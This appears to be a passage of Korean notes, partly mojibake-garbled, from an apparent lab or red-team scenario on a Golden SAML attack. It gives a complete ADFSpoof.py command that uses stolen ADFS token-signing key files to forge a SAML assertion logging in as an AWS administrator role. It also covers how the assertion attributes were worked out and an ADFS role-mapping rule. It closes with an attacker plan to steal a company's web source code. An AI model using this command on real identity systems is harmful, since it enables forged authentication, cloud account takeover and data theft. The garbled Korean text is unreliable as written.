python3 ADFSpoof.py -b tks3.bin dkm3.bin -s 'sts.pbl-waffle.swu' saml2 --endpoint '<https://signin.aws.amazon.com/saml>' --nameidformat 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' --nameid 'AD-WAFFLE\\aws.admin' --rpidentifier 'urn:amazon:webservices' --assertions '<Attribute Name="<https://aws.amazon.com/SAML/Attributes/RoleSessionName>"><AttributeValue>aws.admin@pbl-waffle.swu</AttributeValue></Attribute><Attribute Name="<https://aws.amazon.com/SAML/Attributes/Role>"><AttributeValue>arn:aws:iam::985539769344:saml-provider/ADFS,arn:aws:iam::985539769344:role/ADFS-Dev</AttributeValue></Attribute>'
--assertions
νλΌλ―Έν° valueλ₯Ό μ°Ύλ κ³Όμ
μ μ μΈμ¦μ μλν SAMLκ³Ό ADFSpoof.pyμ κ²°κ³Όλ¬Όλ‘ λμ€λ SAMLμ diffνμ¬ λ€λ₯Έ μμμ ADFSpoofμμ μλμΌλ‘ μμ±ν΄μ£Όλ, <AttributeStatement> μλ <Attribute> μμλ§ μλμΌλ‘ μ
λ ₯ν΄μ£Όλ©΄ λλ€λ κ²μ νμΈν μ μλ€.
λ€λ₯Έ νλΌλ―Έν°λ μ΄λ° μμΌλ‘ λΉκ΅νλ©° μ°Ύμ μ μλ€.
--assertions
νλΌλ―Έν° role μμ± μ μ μμ¬ν
μ²μ ꡬμ±ν λ Roleμ μ κ·μ(RegExReplace)μΌλ‘ 맀νλλλ‘ νμμΌλ, μ΄ κ²½μ° ADFSdumpλ‘ μ»μ΄μ§λ μ 보μμ μμ ν Role Nameμ μ»μ μ μμ΄ μλλ¦¬μ€ μ μ μ κ°μΌλ‘ μ€μ λ κ²μΌλ‘ λ³κ²½νλ€.
μ κ·μ κ·Έλλ‘ arn:aws:iam::985539769344:role/ADFS- μ ννλ‘ μ
λ ₯ν μ μ λλ‘ λ‘κ·ΈμΈ λΆκ°
@RuleName = "Roles"
c:[Type == "<http://temp/variable>", Value =~ "(?i)^AWS-"]
=> issue(Type = "<https://aws.amazon.com/SAML/Attributes/Role>", Value = RegExReplace(c.Value, "AWS-", "arn:aws:iam::985539769344:saml-provider/ADFS,arn:aws:iam::985539769344:role/ADFS-"));
[κ°μ€] μ΄λ° μμΌλ‘ Roleμ΄ μ κ·μμΌλ‘ λμ΄μλ κ²½μ° κ³΅κ²©μλ μμ ν Role Nameμ λ€λ₯Έ μ 보 μμ§ μ μ»μ§ λͺ»νλ©΄ Golden SAML 곡격μ νλ€λ€.
β μ΄κ² μ°Έμ΄λΌλ©΄, μμΈμ μμμμ κ³΅κ²©μ΄ λ§ν μλ μλ€λ μ μ΄ μμ¬μ μ΄λ€.
곡격μλ AWSμ AWS-Dev/aws.admin@pbl-waffle.swu μ κΆνμΌλ‘ μ κ·Όνμ¬
νμ¬μ ν΅μ¬μ μΈ μΉ μμ€ν
μ μμ€μ½λλ₯Ό μ μΆνκΈ° μν κ³νμ μΈμ°κΈ°λ‘ νλ€.